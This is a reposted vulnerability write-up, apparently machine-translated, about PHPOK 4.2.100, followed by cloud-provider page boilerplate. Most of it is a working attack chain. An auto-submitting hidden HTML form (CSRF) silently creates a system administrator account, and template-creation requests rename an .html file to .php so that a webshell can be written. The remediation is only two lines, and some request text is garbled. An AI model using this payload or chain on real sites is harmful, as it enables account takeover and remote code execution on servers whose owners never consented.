Phpok csrf add administrator + background getshell

Source: Internet
Author: User

Phpok csrf add administrator + background getshell

Version: 4.2.100
The risk of CSRF lies in web applications that execute certain behaviors through trusted input forms and authenticated users who do not need to be authorized for specific behaviors. Users who have passed the cookie stored in the user's browser for authentication will send an HTTP request to the site that trusts him in the case of full ignorance, and then do the behavior that the user does not want to do.


Poc:

<div style="display:none"><form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post"><input type="hidden" name="id" value=""/><input type="hidden" name="account" value=""/><input type="hidden" name="pass" value=""/><input type="hidden" name="email" value=""/><input type="hidden" name="status" value=""/><input type="hidden" name="if_system" value=""/><input type="submit" name="up" value="submit"/></form><script>var t = document.poc;t.account.value="wooyun";t.pass.value="123456";t.status.value="1";t.if_system.value="1";document.poc.submit();</script></div>




 





After poc access
 





Getshell:

Style management-create a template file

By default, only html files can be added. However, you can bypass

 



Set


GET/phpok/admin. php? C = tpl & f = create & id = 1 & folder =/&type=file&title=wooyun.html



Modify

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php




 



Then, it is OK to write a Trojan into the editing file.



File directory/tpl/www/

 

 




 

 

Solution:

Determine the referer Source

Add token judgment

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.